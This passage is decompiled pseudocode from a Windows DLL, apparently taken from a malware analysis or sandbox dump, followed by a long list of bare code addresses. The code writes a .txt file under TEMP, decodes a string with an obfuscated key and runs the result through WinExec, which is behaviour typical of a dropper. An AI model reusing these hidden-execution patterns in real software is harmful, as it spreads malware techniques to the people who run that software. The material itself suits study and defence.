											_t1263 = E100079E0(_t1007, _t1106, _t1272, 4, _v66488, ".txt", 4);
										} else {
											 *((intOrPtr*)(_t1272 + 0x10)) = _t1106 + 4;
											_t889 = _t1272;
											if(_t1220 >= 0x10) {
												_t889 =  *_t1272;
											}
											_t1279 = _t889 + _t1106;
											memmove(_t1279, ".txt", 4);
											_t1312 = _t1312 + 0xc;
											 *((char*)(_t1279 + 4)) = 0;
										}
										_v66044 = 0;
										_v66040 = 0;
										asm("movups xmm0, [edi]");
										_v66480 = _v66480 | 0x00000002;
										asm("movups [ebp-0x10208], xmm0");
										asm("movq xmm0, [edi+0x10]");
										asm("movq [ebp-0x101f8], xmm0");
										 *(_t1263 + 0x10) = 0;
										 *(_t1263 + 0x14) = 0xf;
										 *_t1263 = 0;
										_v8 = 0x1b;
										_t1221 = _v66136;
										if(_t1221 < 0x10) {
											L213:
											_t856 =  >=  ? _v66060 :  &_v66060;
											_v66140 = 0;
											_v66136 = 0xf;
											_v66156 = 0;
											E10005C90(_t1007,  &_v66456, _t1263, _t1279,  >=  ? _v66060 :  &_v66060, 0x22);
											_t859 =  >=  ? _v65916 :  &_v65916;
											__imp__?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z( >=  ? _v65916 :  &_v65916, _v65900, 0, _t1106);
											_t860 = E10006FF0( &_v66452);
											if(_t860 == 0) {
												_t1454 =  &_v66456 +  *((intOrPtr*)(_v66456 + 4));
												__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z(2, _t860);
											}
											_v66164 = 0;
											_v66160 = 0xf;
											_v66180 = 0;
											E10006CC0(_t1007,  &_v66180, _t1221, 0x1000a5dc, 0x10);
											_t1323 = _t1312 - 0x18;
											_v8 = 0x1c;
											_t1111 = _t1323;
											_v66476 = _t1323;
											 *(_t1111 + 0x10) = 0;
											 *(_t1111 + 0x14) = 0xf;
											 *_t1111 = 0;
											E10006CC0(_t1007, _t1111, _t1221, "RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw", 0x3a);
											_t1324 = _t1323 - 0x18;
											_v8 = 0x1d;
											E10005BC0(_t1324, _t1221,  &_v66180);
											_v8 = 0x1c;
											E100019B0( &_v66208, _t1221, _t1454);
											_v8 = 0x1e;
											E10007210( &_v66108,  &_v66208,  &_v66060);
											_t1312 = _t1324 + 0x34;
											_t869 =  >=  ? _v66108 :  &_v66108;
											WinExec( >=  ? _v66108 :  &_v66108, 0);
											_t1223 = _v66088;
											if(_t1223 < 0x10) {
												L219:
												_v8 = 0x1c;
												_t1224 = _v66188;
												_v66092 = 0;
												_v66088 = 0xf;
												_v66108 = 0;
												if(_t1224 < 0x10) {
													L223:
													_v8 = 0x1b;
													_t1225 = _v66160;
													_v66192 = 0;
													_v66188 = 0xf;
													_v66208 = 0;
													if(_t1225 < 0x10) {
														L227:
														_v8 = 0x18;
														_t1185 = _v66040;
														if(_t1185 < 0x10) {
															goto L231;
														} else {
															_t1115 = _v66060;
															_t1185 = _t1185 + 1;
															_t871 = _t1115;
															if(_t1185 < 0x1000) {
																L230:
																_push(_t1185);
																E10008291(_t871, _t1115);
																_t1312 = _t1312 + 8;
																goto L231;
															} else {
																_t1084 =  *((intOrPtr*)(_t1115 - 4));
																_t1185 = _t1185 + 0x23;
																_t784 = _t871 - _t1084 + 0xfffffffc;
																if(_t871 - _t1084 + 0xfffffffc > 0x1f) {
																	goto L18;
																} else {
																	goto L230;
																}
															}
														}
													} else {
														_t1116 = _v66180;
														_t1226 = _t1225 + 1;
														_t874 = _t1116;
														if(_t1226 < 0x1000) {
															L226:
															_push(_t1226);
															E10008291(_t874, _t1116);
															_t1312 = _t1312 + 8;
															goto L227;
														} else {
															_t1084 =  *((intOrPtr*)(_t1116 - 4));
															_t1185 = _t1226 + 0x23;
															_t784 = _t874 - _t1084 + 0xfffffffc;
															if(_t874 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L226;
															}
														}
													}
												} else {
													_t1117 = _v66208;
													_t1227 = _t1224 + 1;
													_t877 = _t1117;
													if(_t1227 < 0x1000) {
														L222:
														_push(_t1227);
														E10008291(_t877, _t1117);
														_t1312 = _t1312 + 8;
														goto L223;
													} else {
														_t1084 =  *((intOrPtr*)(_t1117 - 4));
														_t1185 = _t1227 + 0x23;
														_t784 = _t877 - _t1084 + 0xfffffffc;
														if(_t877 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L222;
														}
													}
												}
											} else {
												_t1118 = _v66108;
												_t1228 = _t1223 + 1;
												_t880 = _t1118;
												if(_t1228 < 0x1000) {
													L218:
													_push(_t1228);
													E10008291(_t880, _t1118);
													_t1312 = _t1312 + 8;
													goto L219;
												} else {
													_t1084 =  *((intOrPtr*)(_t1118 - 4));
													_t1185 = _t1228 + 0x23;
													_t784 = _t880 - _t1084 + 0xfffffffc;
													if(_t880 - _t1084 + 0xfffffffc > 0x1f) {
														goto L18;
													} else {
														goto L218;
													}
												}
											}
										} else {
											_t1106 = _v66156;
											_t1221 = _t1221 + 1;
											_t885 = _t1106;
											if(_t1221 < 0x1000) {
												L212:
												_push(_t1221);
												E10008291(_t885, _t1106);
												_t1312 = _t1312 + 8;
												goto L213;
											} else {
												_t1084 =  *((intOrPtr*)(_t1106 - 4));
												_t1185 = _t1221 + 0x23;
												_t784 = _t885 - _t1084 + 0xfffffffc;
												if(_t885 - _t1084 + 0xfffffffc > 0x1f) {
													goto L18;
												} else {
													goto L212;
												}
											}
										}
									}
								}
							}
						} else {
							_t1430 = _t1263 - 3;
							if(_t1430 < 0 || _t1430 > 0) {
								goto L186;
							} else {
								goto L278;
							}
						}
					} else {
						_t1415 = _t1265 - 4;
						if(_t1415 < 0 || _t1415 > 0) {
							goto L169;
						} else {
							_push(E10005A50);
							_push(0x14);
							_push(0x18);
							_v8 = 0x11;
							_push( &_v66036);
							E1000889C();
							L281:
							 *((intOrPtr*)(_t1301 +  *((intOrPtr*)(_v66456 + 4)) - 0x10394)) = 0x1000a6d8;
							_t617 =  *((intOrPtr*)(_v66456 + 4)) - 0x68; // -87
							 *((intOrPtr*)(_t1301 +  *((intOrPtr*)(_v66456 + 4)) - 0x10398)) = _t617;
							_v8 = 0x2b;
							_v66452 = 0x1000a690;
							if(_v66376 != 0 &&  *_v66440 ==  &_v66392) {
								_t771 = _v66372;
								__imp__?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z(_t771, _t771, _v66368);
							}
							if(_v66380 != 0) {
								E10006FF0( &_v66452);
							}
							__imp__??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ();
							__imp__??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ();
							__imp__??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ();
							_t1194 = _v66112;
							if(_t1194 < 0x10) {
								L290:
								_t1195 = _v66260;
								_v66116 = 0;
								_v66112 = 0xf;
								_v66132 = 0;
								if(_t1195 < 0x10) {
									L294:
									_t1196 = _v66064;
									if(_t1196 < 0x10) {
										L298:
										_t1197 = _v66212;
										_v66068 = 0;
										_v66064 = 0xf;
										_v66084 = 0;
										if(_t1197 < 0x10) {
											L302:
											_t1198 = _v66236;
											if(_t1198 >= 0x10) {
												_t1072 = _v66256;
												_t1199 = _t1198 + 1;
												_t754 = _t1072;
												if(_t1199 >= 0x1000) {
													_t1072 =  *((intOrPtr*)(_t1072 - 4));
													_t1199 = _t1199 + 0x23;
													if(_t754 > 0x1f) {
														goto L305;
													}
												}
												goto L306;
											}
										} else {
											_t1073 = _v66232;
											_t1200 = _t1197 + 1;
											_t757 = _t1073;
											if(_t1200 < 0x1000) {
												L301:
												_push(_t1200);
												E10008291(_t757, _t1073);
												_t1312 = _t1312 + 8;
												goto L302;
											} else {
												_t1072 =  *((intOrPtr*)(_t1073 - 4));
												_t1199 = _t1200 + 0x23;
												_t754 = _t757 - _t1072 + 0xfffffffc;
												if(_t757 - _t1072 + 0xfffffffc > 0x1f) {
													goto L305;
												} else {
													goto L301;
												}
											}
										}
									} else {
										_t1074 = _v66084;
										_t1201 = _t1196 + 1;
										_t760 = _t1074;
										if(_t1201 < 0x1000) {
											L297:
											_push(_t1201);
											E10008291(_t760, _t1074);
											_t1312 = _t1312 + 8;
											goto L298;
										} else {
											_t1072 =  *((intOrPtr*)(_t1074 - 4));
											_t1199 = _t1201 + 0x23;
											_t754 = _t760 - _t1072 + 0xfffffffc;
											if(_t760 - _t1072 + 0xfffffffc > 0x1f) {
												goto L305;
											} else {
												goto L297;
											}
										}
									}
								} else {
									_t1075 = _v66280;
									_t1202 = _t1195 + 1;
									_t763 = _t1075;
									if(_t1202 < 0x1000) {
										L293:
										_push(_t1202);
										E10008291(_t763, _t1075);
										_t1312 = _t1312 + 8;
										goto L294;
									} else {
										_t1072 =  *((intOrPtr*)(_t1075 - 4));
										_t1199 = _t1202 + 0x23;
										_t754 = _t763 - _t1072 + 0xfffffffc;
										if(_t763 - _t1072 + 0xfffffffc > 0x1f) {
											goto L305;
										} else {
											goto L293;
										}
									}
								}
							} else {
								_t1076 = _v66132;
								_t1203 = _t1194 + 1;
								_t766 = _t1076;
								if(_t1203 < 0x1000) {
									L289:
									_push(_t1203);
									E10008291(_t766, _t1076);
									_t1312 = _t1312 + 8;
									goto L290;
								} else {
									_t1072 =  *((intOrPtr*)(_t1076 - 4));
									_t1199 = _t1203 + 0x23;
									_t754 = _t766 - _t1072 + 0xfffffffc;
									if(_t766 - _t1072 + 0xfffffffc > 0x1f) {
										L305:
										__imp___invalid_parameter_noinfo_noreturn();
										L306:
										_push(_t1199);
										E10008291(_t754, _t1072);
									} else {
										goto L289;
									}
								}
							}
							 *[fs:0x0] = _v16;
							return E10008280(0, _v20 ^ _t1301);
						}
					}
					goto L310;
					L278:
					_push(E10005A50);
					_push(0x14);
					_push(0x18);
					_v8 = 0x11;
					_push( &_v66036);
					E1000889C();
					_t1263 = _v66468 + 1;
					_v66468 = _t1263;
				} while (_t1263 < 0x36ee80);
				goto L281;
				L1:
				_t663 =  *_t1008;
				_t1008 =  &(_t1008[1]);
				if(_t663 != 0) {
					goto L1;
				} else {
					E10006CC0(__ebx,  &_v66256, _t1156, _t1156, _t1008 - _t1263);
					_v8 = 0;
					_t665 = getenv("TEMP");
					_t1157 = _t665;
					_v66216 = 0;
					_t1011 = _t665;
					_v66212 = 0xf;
					_t1305 = _t1304 + 4;
					_v66232 = 0;
					_t13 =  &(_t1011[1]); // 0x1
					_t1276 = _t13;
				}
				goto L3;
			}

0x10003b10
0x10003b11
0x10003b13
0x10003b15
0x10003b20
0x10003b26
0x10003b2b
0x10003b30
0x10003b32
0x10003b35
0x10003b36
0x10003b37
0x10003b3b
0x10003b45
0x10003b4b
0x10003b5c
0x10003b5e
0x10003b60
0x10003b6a
0x10003b6c
0x10003b76
0x10003b79
0x10003b80
0x10003b80
0x10003b80
0x10003bd0
0x10003bd0
0x10003bd0
0x10003bd2
0x10003bd3
0x10003be1
0x10003be6
0x10003bf7
0x10003c01
0x10003c0b
0x10003c15
0x10003c1c
0x10003c21
0x10003c32
0x10003c3c
0x10003c46
0x10003c4d
0x10003c59
0x10003c5d
0x10003c63
0x10003c74
0x10003c7c
0x10003ce6
0x10003ce8
0x10003cf2
0x10003cf8
0x10003d02
0x10003d09
0x10003d10
0x10003d10
0x10003d13
0x10003d16
0x10003d16
0x10003d25
0x10003d2d
0x10003d32
0x10003d3c
0x10003d4f
0x10003d56
0x10003d60
0x10003d6a
0x10003d71
0x10003d7c
0x10003d85
0x10003d8e
0x10003d93
0x10003da6
0x10003db6
0x10003dc0
0x10003dc5
0x10003dc8
0x10003dcc
0x10003dce
0x10003dd2
0x10003dd4
0x10003dd4
0x10003dd6
0x10003dd9
0x10003de1
0x10003de9
0x10003dea
0x10003deb
0x10003ded
0x10003e1a
0x10003e27
0x10003e2d
0x10003e2e
0x10003def
0x10003df2
0x10003df5
0x10003e01
0x10003e08
0x10003e0c
0x10003e11
0x10003e14
0x10003e14
0x10003e33
0x10003e37
0x10003e3d
0x10003e40
0x10003e42
0x10003e48
0x10003e49
0x10003e4b
0x10003e51
0x10003e53
0x10003e56
0x10003e5b
0x10003e5e
0x10003e61
0x10003e63
0x10003e63
0x10003e63
0x10003e61
0x10003e69
0x10003e6b
0x10003e70
0x10003e70
0x10003e73
0x10003e77
0x10003e7d
0x10003e80
0x10003ead
0x10003ead
0x10003eb1
0x10003eb7
0x10003eba
0x10003ebc
0x10003ec2
0x10003ec9
0x10003ecb
0x10003ed1
0x10003ed3
0x10003ed6
0x10003edb
0x10003ede
0x10003ee1
0x00000000
0x00000000
0x10003ee1
0x00000000
0x10003ed1
0x10003e82
0x10003e82
0x10003e88
0x10003e89
0x10003e8b
0x10003e91
0x10003ea3
0x10003ea3
0x10003ea5
0x10003eaa
0x00000000
0x10003e93
0x10003e93
0x10003e96
0x10003e9b
0x10003e9e
0x10003ea1
0x10003ee3
0x10003ee3
0x10003ee9
0x10003ee9
0x10003eeb
0x10003ef0
0x00000000
0x00000000
0x00000000
0x10003ea1
0x10003e91
0x10003c7e
0x10003c86
0x10003c8e
0x10003c90
0x10003c98
0x10003cc7
0x10003cd4
0x10003cda
0x10003cdc
0x10003c9a
0x10003ca6
0x10003cad
0x10003caf
0x10003cb6
0x10003cbb
0x10003cbe
0x10003cbe
0x10003c98
0x10003f01
0x10003f09
0x10003f73
0x10003f75
0x10003f7f
0x10003f85
0x10003f8f
0x10003f96
0x10003fa0
0x10003fa0
0x10003fa3
0x10003fa6
0x10003fa6
0x10003fb5
0x10003fbd
0x10003fc2
0x10003fcc
0x10003fdf
0x10003fe6
0x10003ff0
0x10003ffa
0x10004001
0x1000400c
0x10004015
0x1000401e
0x10004023
0x10004036
0x10004046
0x10004050
0x10004055
0x10004058
0x1000405c
0x1000405e
0x10004062
0x10004064
0x10004064
0x10004066
0x10004069
0x10004077
0x1000407d
0x1000407e
0x1000407f
0x10004081
0x100040bb
0x100040c8
0x100040ce
0x100040cf
0x10004083
0x10004083
0x10004093
0x1000409a
0x100040a4
0x100040b2
0x100040b5
0x100040b5
0x100040d4
0x100040d8
0x100040de
0x100040e1
0x100040e3
0x100040e9
0x100040ea
0x100040ec
0x100040f2
0x100040f4
0x100040f7
0x100040fc
0x100040ff
0x10004102
0x10004104
0x10004104
0x10004102
0x1000410a
0x1000410c
0x10004111
0x10004111
0x10004114
0x10004118
0x1000411e
0x10004121
0x1000414e
0x1000414e
0x10004152
0x10004158
0x1000415b
0x1000415d
0x10004163
0x1000416a
0x1000416c
0x10004172
0x10004174
0x10004177
0x1000417c
0x1000417f
0x10004182
0x00000000
0x00000000
0x10004182
0x00000000
0x10004172
0x10004123
0x10004123
0x10004129
0x1000412a
0x1000412c
0x10004132
0x10004144
0x10004144
0x10004146
0x1000414b
0x00000000
0x10004134
0x10004134
0x10004137
0x1000413c
0x1000413f
0x10004142
0x10004184
0x10004184
0x1000418a
0x1000418a
0x1000418c
0x10004191
0x00000000
0x00000000
0x00000000
0x10004142
0x10004132
0x10003f0b
0x10003f13
0x10003f1b
0x10003f1d
0x10003f25
0x10003f54
0x10003f61
0x10003f67
0x10003f69
0x10003f27
0x10003f33
0x10003f3a
0x10003f3c
0x10003f43
0x10003f48
0x10003f4b
0x10003f4b
0x10003f25
0x100041a5
0x100041aa
0x100041ad
0x100041b1
0x100041b7
0x100041b9
0x100041b9
0x100041bb
0x100041be
0x100041c6
0x100041ce
0x100041cf
0x100041d2
0x100041ff
0x1000420c
0x10004212
0x10004213
0x100041d4
0x100041da
0x100041e6
0x100041ed
0x100041f1
0x100041f6
0x100041f9
0x100041f9
0x10004218
0x1000421c
0x10004225
0x10004227
0x1000422d
0x1000422e
0x10004236
0x10004238
0x1000423b
0x10004246
0x10004248
0x10004248
0x10004246
0x1000424e
0x10004250
0x10004255
0x10004255
0x10004258
0x1000425e
0x1000426d
0x10004275
0x10004489
0x10004491
0x10004499
0x1000449b
0x100044a0
0x100044a3
0x100044cf
0x100044dc
0x100044e2
0x100044e4
0x100044a5
0x100044a5
0x100044b1
0x100044b8
0x100044ba
0x100044c1
0x100044c6
0x100044c9
0x100044c9
0x1000427b
0x10004281
0x10004284
0x10004288
0x10004292
0x1000429c
0x100042a3
0x100042a6
0x100042a6
0x100042a9
0x100042ac
0x100042b5
0x100042bd
0x100042c2
0x100042df
0x100042e6
0x100042f0
0x100042fa
0x10004301
0x1000430c
0x10004315
0x1000431e
0x10004323
0x10004336
0x10004346
0x10004350
0x10004355
0x10004358
0x1000435c
0x10004362
0x10004364
0x10004364
0x10004366
0x10004369
0x10004371
0x10004379
0x1000437a
0x1000437d
0x100043aa
0x100043b7
0x100043bd
0x100043be
0x1000437f
0x10004385
0x10004391
0x10004398
0x1000439c
0x100043a1
0x100043a4
0x100043a4
0x100043c3
0x100043c7
0x100043d0
0x100043d2
0x100043d8
0x100043d9
0x100043e1
0x100043e3
0x100043e6
0x100043f1
0x100043f3
0x100043f3
0x100043f1
0x100043f9
0x100043fb
0x10004400
0x10004400
0x10004403
0x10004407
0x10004410
0x1000443d
0x1000443d
0x10004441
0x1000444a
0x10004450
0x10004456
0x1000445d
0x10004465
0x10004467
0x1000446a
0x10004475
0x00000000
0x00000000
0x10004475
0x00000000
0x10004465
0x10004412
0x10004412
0x10004418
0x10004419
0x10004421
0x10004433
0x10004433
0x10004435
0x1000443a
0x00000000
0x10004423
0x10004423
0x10004426
0x1000442b
0x10004431
0x10004477
0x10004477
0x1000447d
0x1000447d
0x1000447f
0x10004484
0x00000000
0x00000000
0x00000000
0x10004431
0x10004421
0x10004410
0x100044e9
0x100044ef
0x100044f1
0x100044f4
0x100044f4
0x100044fa
0x100044fd
0x100044ff
0x10004507
0x1000450e
0x1000451a
0x1000451d
0x10004522
0x10004525
0x10004532
0x1000453d
0x10004541
0x10004546
0x10004550
0x10004555
0x1000455e
0x10004560
0x10004566
0x10004567
0x1000456f
0x10004571
0x10004574
0x1000457f
0x10004581
0x10004581
0x1000457f
0x10004587
0x10004589
0x1000458e
0x1000458e
0x1000459e
0x100045a4
0x100045b1
0x100045b6
0x100045c0
0x100045c5
0x100045ce
0x100045d0
0x100045d6
0x100045d7
0x100045df
0x100045e1
0x100045e4
0x100045ef
0x100045f1
0x100045f1
0x100045ef
0x100045f7
0x100045f9
0x100045fe
0x100045fe
0x1000460e
0x10004618
0x10004622
0x10004629
0x10004639
0x10004640
0x10004645
0x1000464e
0x10004653
0x10004657
0x10004661
0x10004666
0x1000466c
0x10004677
0x1000467e
0x10004683
0x10004686
0x1000468a
0x1000468e
0x10004695
0x100046a1
0x100046a4
0x100046af
0x100046b3
0x100046b8
0x100046ba
0x100046c5
0x100046c7
0x100046d0
0x10004701
0x10004701
0x1000470b
0x10004715
0x1000471c
0x1000471f
0x10004726
0x1000472b
0x10004733
0x1000473a
0x10004741
0x100046d2
0x100046d2
0x100046d8
0x100046d9
0x100046e1
0x100046f7
0x100046f7
0x100046f9
0x100046fe
0x00000000
0x100046e3
0x100046e3
0x100046e6
0x100046eb
0x100046f1
0x00000000
0x00000000
0x00000000
0x00000000
0x100046f1
0x100046e1
0x100046d0
0x10004744
0x1000474d
0x1000474f
0x10004755
0x10004756
0x1000475e
0x10004774
0x10004774
0x10004776
0x1000477b
0x10004760
0x10004760
0x10004763
0x10004768
0x1000476e
0x00000000
0x00000000
0x00000000
0x00000000
0x1000476e
0x1000475e
0x1000478b
0x10004795
0x1000479c
0x1000479e
0x100047a8
0x100047af
0x100047b2
0x100047b2
0x100047b4
0x100047b5
0x100047c3
0x100047ce
0x100047dd
0x100047e7
0x100047ed
0x100047f6
0x10004827
0x10004827
0x10004831
0x1000483b
0x10004842
0x10004845
0x1000484c
0x10004851
0x10004859
0x10004860
0x10004867
0x100047f8
0x100047f8
0x100047fe
0x100047ff
0x10004807
0x1000481d
0x1000481d
0x1000481f
0x10004824
0x00000000
0x10004809
0x10004809
0x1000480c
0x10004811
0x10004817
0x00000000
0x00000000
0x00000000
0x00000000
0x10004817
0x10004807
0x100047f6
0x1000486a
0x10004873
0x10004875
0x1000487b
0x1000487c
0x10004884
0x1000489a
0x1000489a
0x1000489c
0x100048a1
0x10004886
0x10004886
0x10004889
0x1000488e
0x10004894
0x00000000
0x00000000
0x00000000
0x00000000
0x10004894
0x10004884
0x100048a4
0x100048a8
0x100048ae
0x100048b8
0x100048c2
0x100048cc
0x100048ce
0x100048d4
0x100048d5
0x100048dd
0x100048f3
0x100048f3
0x100048f5
0x100048fa
0x100048df
0x100048df
0x100048e2
0x100048e7
0x100048ea
0x100048ed
0x00000000
0x00000000
0x00000000
0x00000000
0x100048ed
0x100048dd
0x100048fd
0x10004900
0x10004902
0x1000490a
0x10004911
0x1000491d
0x10004920
0x10004925
0x10004928
0x10004935
0x10004940
0x10004949
0x1000494b
0x10004956
0x1000495c
0x10004965
0x10004996
0x10004996
0x100049a0
0x100049aa
0x100049b1
0x100049b4
0x100049bb
0x100049c0
0x100049c8
0x100049cf
0x100049d6
0x10004967
0x10004967
0x1000496d
0x1000496e
0x10004976
0x1000498c
0x1000498c
0x1000498e
0x10004993
0x00000000
0x10004978
0x10004978
0x1000497b
0x10004980
0x10004986
0x00000000
0x00000000
0x00000000
0x00000000
0x10004986
0x10004976
0x10004965
0x100049d9
0x100049e2
0x100049e4
0x100049ea
0x100049eb
0x100049f3
0x10004a09
0x10004a09
0x10004a0b
0x10004a10
0x100049f5
0x100049f5
0x100049f8
0x100049fd
0x10004a03
0x00000000
0x00000000
0x00000000
0x00000000
0x10004a03
0x100049f3
0x10004a13
0x10004a18
0x10004a1d
0x10004a1f
0x10004a27
0x10004a28
0x10004a2d
0x10004a2f
0x10004a33
0x10004a39
0x10004a40
0x10004a4c
0x10004a51
0x10004a59
0x00000000
0x00000000
0x10004a5f
0x10004a65
0x10004a6f
0x10004a79
0x10004a82
0x10005878
0x1000587d
0x1000587e
0x1000587f
0x10005880
0x10005885
0x10005887
0x10004a88
0x10004a96
0x10004aa1
0x10004aae
0x10004ab1
0x10004ab6
0x10004ac5
0x10004b24
0x10004b2a
0x10004b2d
0x00000000
0x10004b2f
0x10004b2f
0x10004b35
0x10004b36
0x10004b38
0x10004b3e
0x10004b54
0x10004b54
0x10004b56
0x10004b5b
0x00000000
0x10004b40
0x10004b40
0x10004b43
0x10004b48
0x10004b4b
0x10004b4e
0x00000000
0x00000000
0x00000000
0x00000000
0x10004b4e
0x10004b3e
0x10004ac7
0x10004ac7
0x10004acd
0x10004afa
0x10004afa
0x10004b01
0x10004b08
0x10004b0f
0x10004b12
0x10004b15
0x10004b1d
0x10004b5e
0x10004b64
0x10004b6d
0x10004b6e
0x10004b71
0x10004b7a
0x00000000
0x00000000
0x00000000
0x00000000
0x10004acf
0x10004acf
0x10004ad1
0x10004ad8
0x10004af0
0x10004af0
0x10004af2
0x10004af7
0x00000000
0x10004ada
0x10004ada
0x10004add
0x10004ae2
0x10004ae8
0x00000000
0x10004aee
0x10004aee
0x00000000
0x10004aee
0x10004ae8
0x10004ad8
0x10004acd
0x10004ac5
0x00000000
0x10004a82
0x10004b8d
0x10004b98
0x10004ba4
0x10004ba9
0x10004bac
0x10004bae
0x10004bc1
0x10004bc4
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bb0
0x10004bb0
0x10004bb6
0x10004bb9
0x10004bbc
0x10004bbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bbf
0x10004bc6
0x10004bc6
0x10004bca
0x10004bf3
0x10004bf3
0x10004bf5
0x10004bcc
0x10004bcf
0x10004bfa
0x10004bfa
0x10004bfa
0x10004bd1
0x10004bd1
0x10004bd7
0x00000000
0x10004bd9
0x10004bdc
0x00000000
0x10004bde
0x10004bde
0x10004be4
0x00000000
0x10004be6
0x10004be9
0x00000000
0x10004beb
0x10004beb
0x10004bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bf1
0x10004be9
0x10004be4
0x10004bdc
0x10004bd7
0x10004bcf
0x10004bca
0x10004bfc
0x10004bfe
0x10004c0b
0x10004c23
0x10004c2a
0x10004c32
0x10004c37
0x10004c3a
0x10004c51
0x10004c54
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c40
0x10004c40
0x10004c46
0x10004c49
0x10004c4c
0x10004c4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c4f
0x10004c56
0x10004c56
0x10004c5a
0x10004c83
0x10004c83
0x10004c85
0x10004c5c
0x10004c5f
0x10004c8a
0x10004c8a
0x10004c8a
0x10004c61
0x10004c61
0x10004c67
0x00000000
0x10004c69
0x10004c6c
0x00000000
0x10004c6e
0x10004c6e
0x10004c74
0x00000000
0x10004c76
0x10004c79
0x00000000
0x10004c7b
0x10004c7b
0x10004c81
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c81
0x10004c79
0x10004c74
0x10004c6c
0x10004c67
0x10004c5f
0x10004c5a
0x10004c8c
0x10004c8c
0x10004c94
0x10004ca1
0x10004cae
0x10004cb3
0x10004cba
0x10004cbd
0x10004cd1
0x10004cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x10004cc0
0x10004cc0
0x10004cc6
0x10004cc9
0x10004ccc
0x10004ccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004ccf
0x10004cd6
0x10004cd6
0x10004cda
0x10004d03
0x10004d03
0x10004d05
0x10004cdc
0x10004cdf
0x10004d0a
0x10004d0a
0x10004d0a
0x10004ce1
0x10004ce1
0x10004ce7
0x00000000
0x10004ce9
0x10004cec
0x00000000
0x10004cee
0x10004cee
0x10004cf4
0x00000000
0x10004cf6
0x10004cf9
0x00000000
0x10004cfb
0x10004cfb
0x10004d01
0x00000000
0x00000000
0x00000000
0x00000000
0x10004d01
0x10004cf9
0x10004cf4
0x10004cec
0x10004ce7
0x10004cdf
0x10004cda
0x10004d0c
0x10004d0e
0x10005612
0x10005612
0x10005612
0x00000000
0x10004d14
0x10004d14
0x10004d17
0x00000000
0x10004d23
0x10004d2a
0x10005096
0x1000509d
0x100053cb
0x100053d2
0x10005500
0x10005500
0x10005507
0x1000560a
0x1000560a
0x00000000
0x1000550d
0x1000551a
0x10005525
0x10005530
0x10005535
0x10005538
0x10005542
0x1000554b
0x10005550
0x10005553
0x10005560
0x10005565
0x10005569
0x1000556e
0x1000557e
0x10005588
0x1000558e
0x10005592
0x1000559b
0x100055cc
0x100055cc
0x100055d0
0x100055d9
0x00000000
0x100055db
0x100055db
0x100055e1
0x100055e2
0x100055ea
0x10005600
0x10005600
0x10005602
0x10005607
0x00000000
0x100055ec
0x100055ec
0x100055ef
0x100055fa
0x00000000
0x00000000
0x00000000
0x00000000
0x100055fa
0x100055ea
0x1000559d
0x1000559d
0x100055a3
0x100055a4
0x100055ac
0x100055c2
0x100055c2
0x100055c4
0x100055c9
0x00000000
0x100055ae
0x100055ae
0x100055b1
0x100055b6
0x100055bc
0x00000000
0x00000000
0x00000000
0x00000000
0x100055bc
0x100055ac
0x1000559b
0x100053d8
0x100053e5
0x100053ea
0x100053fa
0x100053ff
0x1000540c
0x1000540d
0x10005414
0x1000541f
0x1000542f
0x10005435
0x1000543e
0x10005440
0x10005448
0x10005451
0x10005457
0x1000545a
0x10005460
0x10005463
0x1000546b
0x1000546b
0x10005479
0x1000548c
0x1000549c
0x100054a5
0x100054aa
0x100054b2
0x100054bc
0x100054c2
0x100054c6
0x100054cf
0x00000000
0x100054d1
0x100054d1
0x100054d7
0x100054d8
0x100054e0
0x100054f6
0x100054f6
0x100054f8
0x100054fd
0x00000000
0x100054e2
0x100054e2
0x100054e5
0x100054ea
0x100054f0
0x00000000
0x00000000
0x00000000
0x00000000
0x100054f0
0x100054e0
0x100054cf
0x100050a3
0x100050b3
0x100050c0
0x100050ca
0x100050d2
0x100050dc
0x100050e1
0x100050e4
0x100050e6
0x100050ea
0x100050ef
0x100050f7
0x10005128
0x1000512f
0x1000513e
0x100050f9
0x100050fc
0x100050ff
0x10005104
0x10005106
0x10005106
0x1000510a
0x10005113
0x10005118
0x1000511b
0x1000511b
0x10005140
0x10005147
0x10005151
0x1000515b
0x1000515e
0x10005165
0x1000516a
0x10005172
0x10005179
0x10005180
0x10005183
0x10005187
0x10005190
0x100051c1
0x100051c1
0x100051cb
0x100051d5
0x100051dc
0x100051e0
0x100051e9
0x1000521a
0x1000521a
0x10005224
0x1000522e
0x10005235
0x10005239
0x10005242
0x10005273
0x10005281
0x10005291
0x1000529b
0x100052a5
0x100052ac
0x100052c6
0x100052d4
0x100052e0
0x100052e7
0x100052fd
0x100052fd
0x10005315
0x10005327
0x1000532f
0x10005335
0x1000533b
0x10005341
0x10005372
0x10005372
0x10005376
0x1000537c
0x10005386
0x10005390
0x1000539a
0x00000000
0x1000539c
0x1000539c
0x100053a2
0x100053a3
0x100053ab
0x100053c1
0x100053c1
0x100053c3
0x100053c8
0x00000000
0x100053ad
0x100053ad
0x100053b0
0x100053b5
0x100053bb
0x00000000
0x00000000
0x00000000
0x00000000
0x100053bb
0x100053ab
0x10005343
0x10005343
0x10005349
0x1000534a
0x10005352
0x10005368
0x10005368
0x1000536a
0x1000536f
0x00000000
0x10005354
0x10005354
0x10005357
0x1000535c
0x10005362
0x00000000
0x00000000
0x00000000
0x00000000
0x10005362
0x10005352
0x10005244
0x10005244
0x1000524a
0x1000524b
0x10005253
0x10005269
0x10005269
0x1000526b
0x10005270
0x00000000
0x10005255
0x10005255
0x10005258
0x1000525d
0x10005263
0x00000000
0x00000000
0x00000000
0x00000000
0x10005263
0x10005253
0x100051eb
0x100051eb
0x100051f1
0x100051f2
